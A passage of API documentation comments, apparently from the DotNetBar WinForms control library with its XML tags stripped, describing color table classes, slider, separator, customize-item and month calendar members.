collection by default has elements that are created to + represents the members of eButtonColor enumeration. The name of each color table object is the same as the string + enum representation. You can add custom members to this collection or modify the existing ones. Note that you must specify the + unique name for the new color table elements. Name specified there can be used in ButtonItem.CustomColorName property to specify + custom color table for an ButtonItem. + + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by a button with Office 2007 style when + button is on RibbonBar control. When collection is empty the values from the ButtonItemColors collections are used instead. + + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by a button with Office 2007 style when + button is on menu bar. When collection is empty the values from the ButtonItemColors collections are used instead. + + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by Ribbon Application Menu Button in Office 2010 style. + + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by buttons that are on Backstage tab-strip. + + + + + Gets the reference to collection of Office2007ButtonItemColorTable objects the describe colors used by buttons that are on NavigationPane control. Currently used for Office 2010 style only. When empty ButtonItemColors is used. + + + + + Gets the reference to collection of Office2007RibbonTabItemColorTable objects the describe colors used by a ribbon tab with Office 2007 style. + The collection by default has elements that are created to + represents the members of eRibbonTabColor enumeration. The name of each color table object is the same as the string + enum representation. You can add custom members to this collection or modify the existing ones. Note that you must specify the + unique name for the new color table elements. Name specified there can be used in RibbonTabItem.CustomColorName property to specify + custom color table for an ButtonItem. + + + + + Gets the reference to collection of Office2007RibbonTabGroupColorTableCollection objects the describe colors used by a ribbon tab groups with Office 2007 style. + The collection by default has elements that are created to + represents the members of eRibbonTabGroupColor enumeration. The name of each color table object is the same as the string + enum representation. You can add custom members to this collection or modify the existing ones. Note that you must specify the + unique name for the new color table elements. + + + + + Returns the color scheme table was initialized with. + + + + + Get the reference to the collection that holds system cached styles. In most cases there is no need for you to modify members of this collection. + + + + + Gets or sets whether images like Start button image, are cloned when painted. This is reduces the performance but is necessary if they can be accessed from multiple threads. + + + + + Gets the reference to collection of contextual color tables that are based on items Control container type and other context properties. + When contextual color table is defined it overrides the default color table. + + + + + Initializes a new instance of the Office2010ColorTable class. + + + + + Gets the color scheme color table is initialized with. + + + + + Defines the color scheme type for the Office2010ColorTable. + + + + + Silver color scheme. + + + + + Blue color scheme. + + + + + Black color scheme. + + + + + Visual Studio 2010 Blue color scheme. + + + + + Specifies colors for StepIndicator control. + + + + + Initializes a new instance of the StepIndicatorColorTable class. + + + + + Initializes a new instance of the StepIndicatorColorTable class. + + + + + + + Gets or sets Background color of the control. + + + + + Gets or sets indicator color. + + + + + Defines the color table for SuperTab states + + + + + Event raised when the SuperTabColorTable is changed + + + + + Gets or sets the Background color + + + + + Gets or sets the colors for the outer border. + + + + + Gets or sets the colors for the inner border. + + + + + Gets or sets the ControlBoxDefault colors + + + + + Gets or sets the ControlBoxMouseOver colors + + + + + Gets or sets the ControlBoxPressed colors + + + + + Gets or sets the colors for the InsertMarker. + + + + + Gets or sets the color for the SelectionMarker. + + + + + Gets whether the ColorTable is empty. + + + + + Defines the colors for the SuperTabControlBox states + + + + + Event raised when the SuperTabControlBoxStateColorTable is changed + + + + + Gets or sets the colors for the background. + + + + + Gets or sets the colors for the border. + + + + + Gets or sets the colors for the drawn image. + + + + + Defines the color table for SuperTabItem states + + + + + Event raised when the SuperTabItemColorTable is changed + + + + + Gets or sets the Default tab color settings + + + + + Gets or sets the Left Aligned tab color settings + + + + + Gets or sets the Bottom Aligned tab color settings + + + + + Gets or sets the Right Aligned tab color settings + + + + + Event raised when the SuperTabColorStates is changed + + + + + Gets or sets the tab colors when the tab is not selected, and the mouse is not over it + + + + + Gets or sets the tab colors when the tab is selected, but the mouse is not over the it + + + + + Gets or sets the tab colors when the tab is not selected, but the mouse is over it + + + + + Gets or sets the tab colors when the tab is selected, and the mouse is over it + + + + + Gets or sets the tab colors when the tab + is disabled, is not selected, and the mouse is not over it + + + + + Defines the colors for the SuperTabItem states + + + + + Event raised when the SuperTabItemStateColorTable is changed + + + + + Gets or sets the background colors. + + + + + Gets or sets the outer border color. + + + + + Gets or sets the inner border color. + + + + + Gets or sets the text color. + + + + + Gets or sets the Close Marker color. + + + + + Gets or sets the Selection Marker color. + + + + + Event raised when the SuperTabLinearGradientColorTable is changed + + + + + Gets or sets the Gradient Colors + + + + + Gets or sets the Gradient Color Positions + + + + + Gets or sets the Gradient angle + + + + + Gets or sets whether the Gradient will adapt to changes in the TabAlignment + + + + + Gets whether color definition is empty + + + + + Defines the colors for the SuperTabPanel + + + + + Event raised when the SuperTabPanelColorTable is changed + + + + + Gets or sets the Default tab panel color settings + + + + + Gets or sets the Left Aligned tab panel color settings + + + + + Gets or sets the Bottom Aligned tab panel color settings + + + + + Gets or sets the Right Aligned tab panel color settings + + + + + Event raised when the SuperTabPanelItemColorTable is changed + + + + + Gets or sets the background colors. + + + + + Gets or sets the colors for the outer border. + + + + + Gets or sets the colors for the inner border. + + + + + GetOffice2010BackstageColorTable + + Office2010BackstageColorTable + + + + GetOffice2010BackstageBlueColorTable + + + + Office2010BackstageBlueColorTable + + + + GetVS2010BackstageBlueColorTable + + + + Office2010BackstageBlueColorTable + + + + GetOffice2010BackstageBlackColorTable + + + + Office2010BackstageBlackColorTable + + + + GetOffice2010BackstageSilverColorTable + + + + Office2010BackstageSilverColorTable + + + + GetOffice2007BackstageVistaGlassColorTable + + + + Office2010BackstageVistaGlassColorTable + + + + GetOffice2010BackstageSilverColorTable + + + + Office2010BackstageSilverColorTable + + + + GetOffice2010BackstageItemColorTable + + Office2010BackstageItemColorTable + + + + GetOffice2010BackstageBlueItemColorTable + + + + Office2010BackstageBlueItemColorTable + + + + GetOffice2010BackstageBlackItemColorTable + + + + Office2010BackstageBlackItemColorTable + + + + GetOffice2010BackstageSilverItemColorTable + + + + Office2010BackstageSilverItemColorTable + + + + GetOffice2007BackstageVistaGlassItemColorTable + + + + Office2010BackstageVistaGlassItemColorTable + + + + GetOffice2010BackstageSilverItemColorTable + + + + + Office2010BackstageSilverItemColorTable + + + + GetOffice2010BackstagePanelColorTable + + Office2010BackstagePanelColorTable + + + + GetOffice2010BackstageBluePanelColorTable + + + + Office2010BackstageBluePanelColorTable + + + + GetOffice2010BackstageBlackPanelColorTable + + + + Office2010BackstageBlackPanelColorTable + + + + GetOffice2010BackstageSilverPanelColorTable + + + + Office2010BackstageSilverPanelColorTable + + + + GetOffice2007BackstageVistaGlassPanelColorTable + + + + Office2010BackstageVistaGlassPanelColorTable + + + + GetOffice2010BackstageSilverPanelColorTable + + + + Office2010BackstageSilverPanelColorTable + + + + Defines color table for the SwitchButton control. + + + + + Gets or set the text/caption color. + + + + + Gets or sets the OFF text color. + + + + + Gets or sets the ON text color. + + + + + Gets or sets the button border color. + + + + + Gets or sets background color of OFF switch part. + + + + + Gets or sets background color of ON switch part. + + + + + Gets or sets the switch border color. + + + + + Gets or sets the switch background color. + + + + + Gets or sets the switch background color when in ON state, i.e. Value=true. When set to Color.Empty SwitchBackColor is always used. + + + + + Gets default disabled color scheme for the switch button. + + + + + Gets or sets default Switch Button color table. + + + + + Gets or sets the disabled Switch Button color table. + + + + + Represents the Windows 7 blue style color initialization class. + + + + + Represents color table for Windows 7 style. + + + + + Initializes a new instance of the Office2010ColorTable class. + + + + + Defines the color scheme type for the Office2010ColorTable. + + + + + Blue color scheme. + + + + + Provides information about the binding for the item. + + + + + Initializes a new instance of the ItemBindingInfo class. + + + + + + + Gets or sets the data row item is bound to. + + + + + Gets or sets the data item index. + + + + + Gets or sets the additional data connected to this binding information. + + + + + Represents the slider item which allows you to select a value from predefined range. + + + + + Creates new instance of SliderItem. + + + + + Creates new instance of SliderItem and assigns the name to it. + + Item name. + + + + Creates new instance of SliderItem and assigns the name and text to it. + + Item name. + item text. + + + + Returns copy of the item. + + + + + Copies the SliderItem specific properties to new instance of the item. + + New SliderItem instance. + + + + Copies the SliderItem specific properties to new instance of the item. + + New SliderItem instance. + + + + Raises ValueChanging event. + + Provides event arguments. + + + + Raises ValueChanged event. + + Provides event arguments. + + + + Raises GetRangeTooltipText event. + + Provides event arguments. + + + + Gets the range part that is under specified client location. + + Location in parent control client coordinates. + Range part at specified location. + + + + Called when Minimum property has changed. + + Old property value + New property value + + + + Called when Maximum property has changed. + + Old property value + New property value + + + + Sets the range value. + + New Range value. + Source of the value change. + + + + Called when Value property has changed. + + Old property value + New property value + + + + Called when TicksVisible property has changed. + + Old property value + New property value + + + + Called when TicksStep property has changed. + + Old property value + New property value + + + + Called when RangeButtonSize property has changed. + + Old property value + New property value + + + + Called when TicksPosition property has changed. + + Old property value + New property value + + + + Called when MinimumAbsoluteRange property has changed. + + Old property value + New property value + + + + Called when RangeTooltipFormat property has changed. + + Old property value + New property value + + + + Called when MinRangeSliderImage property has changed. + + Old property value + New property value + + + + Called when MaxRangeSliderImage property has changed. + + Old property value + New property value + + + + Called when RangeLineHeight property has changed. + + Old property value + New property value + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Occurs before Value has changed and allow the cancellation of the change. + + + + + Occurs after Value property has changed + + + + + Gets mouse over part. + + + + + Gets current part that is pressed using mouse left button. + + + + + Occurs when control is about to display the range tooltip and it allows you to customize tooltip + + + + + Gets or sets the minimum value of the range of the control. + + + + + Gets or sets the maximum value of the range of the control. + + + + + Gets or sets the range displayed by the control. + + + + + Indicates whether tick lines are shown + + + + + Gets tick marks bounds. + + + + + Gets tick marks bounds for second marker is visible. + + + + + Gets bounds of minimum range sliding button. + + + + + Gets bounds of maximum range sliding button. + + + + + Indicates tick display period + + + + + Gets or sets the slider orientation. Default value is horizontal. + + + + + Gets or sets the width of the range slider in pixels. Value must be greater than 0. Default value is 140. + + + + + Gets or sets the Height of the range slider in pixels. Value must be greater than 0. Default value is 24. + + + + + Indicates the size of the range change buttons. + + + + + Specifies the ticks position inside of Range Slider. + + + + + Specifies minimum absolute range that user can select. Absolute range is defined as Abs(Value.Max-Value.Min) Applies to user performed selection through mouse only. + + + + + Gets or sets the string that is used to format the range value to be displayed while user moves the range buttons. Value set here is used in string.Format(RangeTooltipFormat, Value.Min, Value.Max). + + + + + Specifies whether range tooltip is shown while user is changing the range + + + + + Indicates image to be used as minimum range slider button instead of built-in button. Image is scaled to size set by RangeButtonSize. + + + + + Indicates image to be used as maximum range slider button instead of built-in button. Image is scaled to size set by RangeButtonSize. + + + + + Specifies the height of the range line + + + + + Indicates whether clicking the area outside of the range change buttons moves the range change button to the clicked location if possible thus allowing range change. + + + + + Gets or sets the color of the range value. + + + + + Specifies the ticks position inside of Range Slider. + + + + + Ticks are displayed on top of range sliders. + + + + + Ticks are displayed on bottom of range sliders. + + + + + Ticks are displayed on top and bottom of range sliders. + + + + + Defines value for the range slider controls. + + + + + Gets or sets the range minimum value. + + + + + Gets or sets the range maximum value. + + + + + Provides data for the Slider item rendering events. + + + + + Gets or sets the reference to the item being rendered. + + + + + Gets or sets the reference to graphics object. + + + + + Creates new instance of the object and initializes it with default values. + + Reference to the Range Slider item being rendered. + Reference to the graphics object. + + + + Defines delegate for RangeSliderValueChanging event. + + + + + + + Provides information for RangeSliderValueChanging event. + + + + + Represents event arguments that provide information on source of action. + + + + + Gets the source of the event. + + + + + Initializes a new instance of the EventSourceArgs class. + + + + + + New range value. + + + + + Set to true to cancel the value changing. + + + + + Initializes a new instance of the RangeSliderValueChangingEventArgs class. + + + + + + Defines the slider item parts. + + + + + Indicates no part. + + + + + Indicates the minimum range slider button. + + + + + Indicates the maximum range slider button. + + + + + Indicates the track area part of the control. + + + + + Defines delegate for RangeSliderValueChanging event. + + + + + + + Provides information for GetRangeTooltip event. + + + + + Gets or sets the tooltip to display. + + + + + Initializes a new instance of the RangeTooltipEventArgs class. + + + + + + Color definition class + + + + + Constructor - solid def + + RGB value + + + + Constructor - solid def + + Color + + + + Constructor - 2 color def + + Start Color + End Color + + + + Constructor - 2 color def + + Start Color + End Color + Gradient angle + + + + Constructor - Gradient def + + Array of RGB values + Gradient positions + + + + Constructor - Gradient def + + Array of Color values + Gradient positions + + + + Constructor - Gradient def + + Array of RGB values + Gradient positions + Gradient angle + + + + Constructor - Gradient def + + Array of Color values + Gradient positions + Gradient angle + + + + OnColorDefChanged + + + + + Event raised when the SuperTabColorStates is changed + + + + + Gets or sets the Color array + + + + + Gets or sets the Color Positions + + + + + Gets or sets the Gradient Angle + + + + + IsEmpty + + + + + ColorDefConvertor + + + + + Represents the visual separator line that is displayed between items. + + + + + Creates new instance of Separator. + + + + + Creates new instance of Separator and assigns the name to it. + + Item name. + + + + Returns copy of the item. + + + + + Copies the ButtonItem specific properties to new instance of the item. + + New ButtonItem instance. + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets whether property should be serialized. + + + + + Resets property to its default value. + + + + + Gets or sets separator padding. + + + + + Gets or sets the size of separator. Size specified is for separator in Vertical orientation. If orientation changes then the size will be internally switched to respect proper orientation. + + + + + Indicates splitter orientation. + + + + + Gets or sets the separator color. + + + + + Gets or sets the separator shade color. + + + + + Defines an item that allows the toolbar customization. + + + + + Creates new instance of CustomizeItem object. + + + + + Returns copy of CustomizeItem item + + + + + Called when item container has changed. If you override this method you must call the base implementation to allow default processing to occur. + + Previous container of the item. + + + + Occurs when tooltip is about to be shown or hidden. + + Specifies whether tooltip is shown or hidden. + + + + Loads the resources (text) used by this item. + + + + + Overriden. Draws the item. + + Target Graphics object. + + + + Sets the custom system tooltip text for the item. + + Tooltip text. + + + + Overriden. Recalculates the size of the item. + + + + + Gets localized tooltip text for this instance of the item. + + Tooltip text. + + + + Called when mouse hovers over the customize item. + + + + + Forces the repaint the item. + + + + + Returns the Font object to be used for drawing the item text. + + Font object. + + + + Overloaded. Serializes the item and all sub-items into the XmlElement. + + XmlElement to serialize the item to. + + + + Overloaded. Deserializes the Item from the XmlElement. + + Source XmlElement. + + + + Gets whether the mouse is over the item. + + + + + Gets or sets a value indicating whether the item is visible. + + + + + Gets or sets whether Customize menu item is visible. + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Gets or sets whether item is global or not. + This flag is used to propagate property changes to all items with the same name. + Setting for example Visible property on the item that has GlobalItem set to true will + set visible property to the same value on all items with the same name. + + + + + Represents base class for the CalendarMonth and MultiMonthCalendar controls. This class is used internally by DotNetBar and is not intended for public use. + + + + + Initializes a new instance of the MultiMonthCalendar class. + + + + + Must be overridden by class that is inheriting to provide the painting for the item. + + + + + Paints background of the item. + + Provides painting arguments + + + + Returns copy of the item. + + + + + Copies the CalendarMonth specific properties to new instance of the item. + + New ButtonItem instance. + + + + Specifies the container background style. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Returns name of the item that can be used to identify item from the code. + + + + + Gets or sets the accessible role of the item. + + + + + + Indicates whether the item will auto-collapse (fold) when clicked. + When item is on popup menu and this property is set to false, menu will not + close when item is clicked. + + + + + Gets or sets whether item can be customized by end user. + + + + + Returns category for this item. If item cannot be customzied using the + customize dialog category is empty string. + + + + + Gets or sets whether Click event will be auto repeated when mouse button is kept pressed over the item. + + + + + Gets or sets the auto-repeat interval for the click event when mouse button is kept pressed over the item. + + + + + Specifies the mouse cursor displayed when mouse is over the item. + + + + + Gets or sets item description. This description is displayed in + Customize dialog to describe the item function in an application. + + + + + Gets or sets whether item is global or not. + This flag is used to propagate property changes to all items with the same name. + Setting for example Visible property on the item that has GlobalItem set to true will + set visible property to the same value on all items with the same name. + + + + + Gets or sets item alignment inside the container. + + + + + Gets or sets the collection of shortcut keys associated with the item. + + + + + Gets or sets whether item will display sub items. + + + + + Gets or sets whether the item expands automatically to fill out the remaining space inside the container. Applies to Items on stretchable, no-wrap Bars only. + + + + + Specifies whether item is drawn using Themes when running on OS that supports themes like Windows XP. + + + + + Gets/Sets informational text (tooltip) for the item. + + + + + Gets or sets the text associated with this item. + + + + + Defines the visual marking applied to dates through month calendar control. + + + + + Initializes a new instance of the DateAppearanceDescription class. + + + + + Initializes a new instance of the DateAppearanceDescription class. + + + + + + Applies all settings from this object to specified object. + + Reference to object. + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + Gets whether property should be serialized. Provided for WinForms designer support. + + + Resets property to its default value. Provided for WinForms designer support. + + + + Gets or sets whether text is drawn using bold font. + + + + + Gets or sets the background color for the marked day. + + + + + Gets or sets the background target gradient color for the marked date. + + + + + Gets or sets the background gradient fill angle. Default value is 90. + + + + + Gets or sets the text color for the marked date. + + + + + Gets whether any of the appearance values have been changed. + + + + + Gets or sets the border color. + + + + + Gets or sets whether day marked is selectable by end user. Default value is true. + + + + + Reverts the input to the last stored value. + + + + + Called when input field is full, i.e. it has an complete entry. If auto-overwrite is enabled the continued typing after input is complete + will erase the existing entry and start new one. + + + + + Resets the input position so the new input overwrites current value. + + + + + Occurs when input on the control has changed. + + + + + Occurs when validation of the input is performed and it allows you to deny the input. + + + + + Occurs when IsEmpty property has changed. + + + + + Gets whether watermark will be drawn in current control state. + + + + + Gets or sets whether control is empty. + + + + + Gets or sets whether auto-overwrite functionality for input is enabled. When in auto-overwrite mode input field will erase existing entry + and start new one if typing is continued after InputComplete method is called. + + + + + Gets or sets the watermark text displayed on the input control when control is empty. + + + + + Gets or sets whether watermark text is displayed if set. Default value is true. + + + + + Gets or sets whether input item is read-only. + + + + + Gets or sets whether control allows empty input state i.e. does not have an text entered. Default value is true. + + + + + Raises SelectedIndexChanged event + + + + + Occurs when SelectedIndex property has changed. + + + + + Gets or sets the text that is selected by the control. + + + + + Gets or sets the currently selected index. -1 is returned if nothing is selected. + + + + + Gets or sets custom AM text used. + + + + + Gets or sets custom PM text used. + + + + + Represents a control that enables the user to select a date using a visual monthly calendar display. + + + + + Initializes a new instance of the MonthCalendarAdv class. + + + + + Returns the DayLabel at given client coordinates or null/nothing if there is no label at give location. + + X - position in client coordinates. + Y - position in client coordinates. + DayLabel at given coordinates or null/nothing. + + + + Returns the DayLabel that represents the date. + + Date to find label for. + DayLabel object or nothing if date cannot be founds. + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all monthly marked dates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the MonthlyMarkedDates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all weekly marked dates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the day from the WeeklyMarkedDays. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all annually marked dates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the AnnuallyMarkedDates. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Returns whether property should be serialized. Provided for Windows Forms designer support. + + + + + Resets property to its default value. Provided for Windows Forms designer support. + + + + + Removes all marked dates set through MarkedDates property. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + Removes the date from the MarkedDates collection. Note that you must call UpdateMarkedDates method to reflect these changes on calendar. + + + + + + Repaints the marked dates to reflect the dates set in the lists of marked dates. + Use this method to reflect the changes made to the AnnuallyMarkedDates, MonthlyMarkedDates or MarkedDates properties as well + as change to the marked Colors properties. + + + + + Raises the DateChanged event. + + Provides event data. + + + + Raises the DateSelected event. + + Provides event data. + + + + Raises the MonthChanged event. + + Provides additional event data. + + + + Raises the MonthChanging event. + + Provides additional event data. + + + + Raises the PaintLabel event. + + Provides event data. + + + + Raises the LabelMouseDown event. + + Provides event data. + + + + Raises the LabelMouseUp event. + + Provides event data. + + + + Raises the LabelMouseEnter event. + + Provides event data. + + + + Raises the LabelMouseLeave event. + + Provides event data. + + + + Raises the LabelMouseMove event. + + Provides event data. + + + + Raises the LabelMouseHover event. + + Provides event data. + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MinDate property to its default value. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MaxDate property to its default value. + + + + + Resets property to its default value. Provided for design-time support. + + + + + Gets whether property should be serialized. Provided for design-time support. + + + + + Sets the number of columns and rows of months to display. + + The number of columns. + The number of rows. + ArgumentOutOfRangeException will be raised if any value is less than zero or one value is grater than zero and other is zero. + + + + Returns whether property should be serialized by Windows Forms designer. + + + + + Sets the selected dates in a month calendar control to the specified date range. + + The beginning date of the selection range. + The end date of the selection range. + startDate is less than the minimum date allowable for a month calendar control.
+ -or-
+ startDate is greater than the maximum allowable date for a month calendar control.
+ -or-
+ endDate is less than the minimum date allowable for a month calendar control.
+ -or- endDate is greater than the maximum allowable date for a month calendar control.
+
+ + If the startDate value is greater than endDate property value, the dates are swapped; the endDate value becomes the starting date, and startDate value becomes the end date. + +
+ + + Invalidates control auto-size and resizes the control if AutoSize is set to true. + + + + + Occurs when month displayed by the item has changed. + + + + + Occurs before the month that is displayed is changed. + + + + + Occurs when child label representing days is rendered and it allows you to override default rendering. + + + + + Occurs when mouse button is pressed over the day/week label inside of the calendar. + + + + + Occurs when mouse button is released over day/week label inside of the calendar. + + + + + Occurs when mouse enters the day/week label inside of the calendar. + + + + + Occurs when mouse leaves the day/week label inside of the calendar. + + + + + Occurs when mouse moves over the day/week label inside of the calendar. + + + + + Occurs when mouse remains still inside an day/week label of the calendar for an amount of time. + + + + + Occurs when SelectedDate property has changed. + + + + + Occurs when the user makes an explicit date selection using the mouse. + + + This event is similar to the DateChanged event, but it occurs at the end of a date selection made using the mouse. + The DateChanged event occurs during any date selection, whether by mouse, keyboard, or code. You should handle this event + when you enable multiple date selection through MultiSelect property and want to be notified after the date selection has been + made. DateChanged event would fire each time selection changes during the selection of multiple dates. + + + + + Gets or sets the array of DateTime objects that determine which monthly days to mark using Colors.MonthlyMarker settings. + Make sure to call UpdateMarkedDates() method to update calendar display with marked dates. + + + + + Gets or sets the array of DayOfWeek members that determine which days of week to mark using Colors.WeeklyMarker settings. + + + + + Gets or sets the array of DateTime objects that determines which annual days are marked using Colors.AnnualMarker settings. + Make sure to call UpdateMarkedDates() method to update calendar display with marked dates. + + + + + Gets or sets the array of DateTime objects that determines which non-recurring dates are marked using Colors.DayMarker settings. + Make sure to call UpdateMarkedDates() method to update calendar display with marked dates. + + + + + Gets or sets the first month displayed by the control. + + + + + Gets number of months displayed on the control. + + + + + Gets the calendar colors used by the control. + + + + + Gets or sets the size of each day item on the calendar. Default value is 24, 15. + + + + + Gets or sets the size of date navigation buttons on the calendar. Default value is 13, 18. If you increase size of the navigation + buttons change DaySize as well so everything fits. + + + + + Gets or sets the minimum date and time that can be selected in the control. + + + + + Gets or sets the maximum date and time that can be selected in the control. + + + + + Specifies the commands container background style. Commands container displays Today and Clear buttons if they are visible. + + + + + Specifies the navigation container background style. Navigation container displays month, year and optional buttons. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Gets or sets the number of columns and rows of months displayed on control. Default value is 0,0 which indicates that + calendar will display as many columns and rows as it is possible to fit into container space available. + + + + + Gets or sets whether weekend days can be selected. Default value is true. + + + + + Gets or sets the rule used to determine first week of the year for week of year display on calendar. Default value is first-day. + + + + + Gets or sets the value that is used by calendar as today's date. + + + + + Gets a value indicating whether the TodayDate property has been explicitly set. + + + + + Gets or sets whether today marker that indicates TodayDate is visible on the calendar. Default value is true. + + + + + Gets or sets whether week of year is visible. Default value is false. + + + + + Gets or sets the array of custom names for days displayed on calendar header. The array must have exactly 7 elements representing day names from 0 to 6. + + + + + Gets or sets the first day of week displayed on the calendar. Default value is Sunday. + + + + + Gets or sets whether control uses the two letter day names. Default value is true. + + + + + Gets or sets the calendar selected date. Note that SelectedDate property should be used only when MultiSelect property is set to false. + When multiple dates can be selected use range selection properties: SelectionStart, SelectionEnd and SelectionRange. + + + + + Gets or sets whether selection of multiple dates up to the MaxSelectionCount is enabled. Default value is false which indicates that only + single day can be selected. + + + + + Gets the reference to the bottom container that parents the Today, and Clear system buttons. + + + + + Gets or sets whether Today button displayed at the bottom of the calendar is visible. Default value is false. + + + + + Gets or sets whether Clear button displayed at the bottom of the calendar is visible. Clear button clears the currently selected date. Default value is false. + + + + + Gets or sets the maximum number of days that can be selected in a month calendar control. + + + + + Gets or sets the start date of the selected range of dates. + + + + + Gets or sets the end date of the selected range of dates. + + + + + Gets or sets the selected range of dates for a month calendar control. + + Setting this property is functionally equivalent to using the SetSelectionRange method. You can set the start and end dates separately by setting either the SelectionStart or SelectionEnd properties. You cannot change the start and end dates by setting the SelectionRange.Start or SelectionRange.End property values of the SelectionRange property. You should use SelectionStart, SelectionEnd, or SetSelectionRange. + If the Start property value of the SelectionRange is greater than its End property value, the dates are swapped; the End property value becomes the starting date, and Start property value becomes the end date. + + + + + Gets or sets whether Year/Century selection is enabled when calendar is displaying single month. + + + + + Indicates whether month selector which is displayed when month label is clicked is using abbreviated month names instead of month number. + + + + + Indicates whether calendar is used in month selection mode which shows only month and year. + + + + + Gets or sets a value indicating whether the control is automatically resized to display its entire contents. You can set MaximumSize.Width property to set the maximum width used by the control. + + + + + Represents the container that presents single calendar month. + + + + + Initializes a new instance of the CalendarMonth class. + + + + + Called when MonthSelectionMode property has changed. + + Old property value + New property value + + + + Must be overridden by class that is inheriting to provide the painting for the item. + + + + + Returns copy of the item. + + + + + Copies the CalendarMonth specific properties to new instance of the item. + + New ButtonItem instance. + + + + Raises the MonthChanged event. + + Provides additional event data. + + + + Raises the MonthChanging event. + + Provides additional event data. + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Gets whether property should be serialized. Provided for designer support. + + + + + + Reset property to default value. Provided for designer support. + + + + + Raises the PaintLabel event. + + Provides event data. + + + + Raises the DateChanged event. + + Provides event data. + + + + Gets the DayLabel item assigned to the given date. Returns null if there is no label displayed for the date. + + Date to return label for. + DayLabel instance or null if date is not displayed on this calendar. + + + + Occurs when sub item expanded state has changed. + + Sub item affected. + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MinDate property to its default value. + + + + + Gets whether Value property should be serialized by Windows Forms designer. + + true if value serialized otherwise false. + + + + Reset the MaxDate property to its default value. + + + + + Called when DayClickAutoClosePopup property has changed. + + Old property value + New property value + + + + Occurs when month displayed by the item has changed. + + + + + Occurs before the month that is displayed is changed. + + + + + Occurs when child label representing days is rendered and it allows you to override default rendering. + + + + + Occurs when mouse button is pressed over the day/week label inside of the calendar. + + + + + Occurs when mouse button is released over day/week label inside of the calendar. + + + + + Occurs when mouse enters the day/week label inside of the calendar. + + + + + Occurs when mouse leaves the day/week label inside of the calendar. + + + + + Occurs when mouse moves over the day/week label inside of the calendar. + + + + + Occurs when mouse remains still inside an day/week label of the calendar for an amount of time. + + + + + Occurs when SelectedDate property has changed. + + + + + Indicates whether calendar is used in month selection mode which shows only month and year. + + + + + Gets or sets whether Year/Century selection is enabled. + + + + + Indicates whether month selector which is displayed when month label is clicked is using abbreviated month names instead of month number. + + + + + Gets or sets the first day of week displayed on the calendar. Default value is Sunday. + + + + + Gets or sets whether trailing days outside of the current displayed month are visible on calendar. + + + + + Gets or sets whether week of year is visible. Default value is false. + + + + + Gets or sets the rule used to determine first week of the year for week of year display on calendar. Default value is first-day. + + + + + Returns the collection of sub items. + + + + + Gets or sets the size of each day item on the calendar. Default value is 24, 15. + + + + + Gets or sets the size of date navigation buttons on the calendar. Default value is 13, 18. If you increase size of the navigation + buttons change DaySize as well so everything fits. + + + + + Gets the calendar colors used by the control. + + + + + Gets or sets whether multiple days can be selected by clicking each day. Default value is false. + + + + + Gets or sets whether selection of dates using mouse is enabled. Default value is true. + + + + + Gets or sets the calendar selected date. + + + + + Gets or sets whether weekend days can be selected. Default value is true. + + + + + Gets or sets a value indicating whether the item is expanded or not. For Popup items this would indicate whether the item is popped up or not. + + + + + Gets or sets default text alignment for the DayLabel items representing calendar days. + + + + + Gets or sets whether control uses the two letter day names. Default value is true. + + + + + Gets or sets the array of custom names for days displayed on calendar header. The array must have exactly 7 elements representing day names from 0 to 6. + + + + + Gets or sets whether header navigation buttons for month and year are visible. Default value is true. + + + + + Specifies the navigation container background style. Navigation container displays month, year and optional buttons. Default value is an empty style which means that container does not display any background. + BeginGroup property set to true will override this style on some styles. + + + + + Gets or sets whether today marker that indicates TodayDate is visible on the calendar. Default value is true. + + + + + Gets or sets the value that is used by calendar as today's date. + + + + + Gets a value indicating whether the TodayDate property has been explicitly set. + + + + + Gets or sets the minimum date and time that can be selected in the control. + + + + + Gets or sets the maximum date and time that can be selected in the control. + + + + + Gets or sets whether clicking the day closes the parent popup if item is on popup. + + + + + Initializes a new instance of the YearSelectoControl class. + + + + + Initializes a new instance of the CenturySelectorControl class. + + + + + Initializes a new instance of the YearSelectorContainer class. + + + + + Raises SelectedYearChanged event. + + Provides event arguments. + + + + Initializes a new instance of the YearSelectorContainer class. + + + + + Raises SelectedYearChanged event. + + Provides event arguments. + + + + Initializes a new instance of the CenturySelectorControl class. + + + + + Initializes a new instance of the YearSelectorContainer class. + + + + + Raises 